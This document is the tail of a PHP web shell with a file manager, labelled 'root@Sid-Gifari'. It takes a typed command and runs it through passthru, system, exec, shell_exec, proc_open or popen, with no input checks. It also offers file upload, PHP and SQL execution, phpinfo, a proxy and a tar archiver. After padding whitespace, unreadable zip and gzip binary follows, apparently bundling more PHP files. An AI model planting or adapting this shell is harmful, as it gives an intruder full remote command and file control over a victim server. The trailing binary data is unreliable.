        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     j\b    Renderer.zipnu [        PK     |\S      inline.php.php.tar.gznu [              Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,   PK     |\Mk]  ]    cap.php.php.tar.gznu [              i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
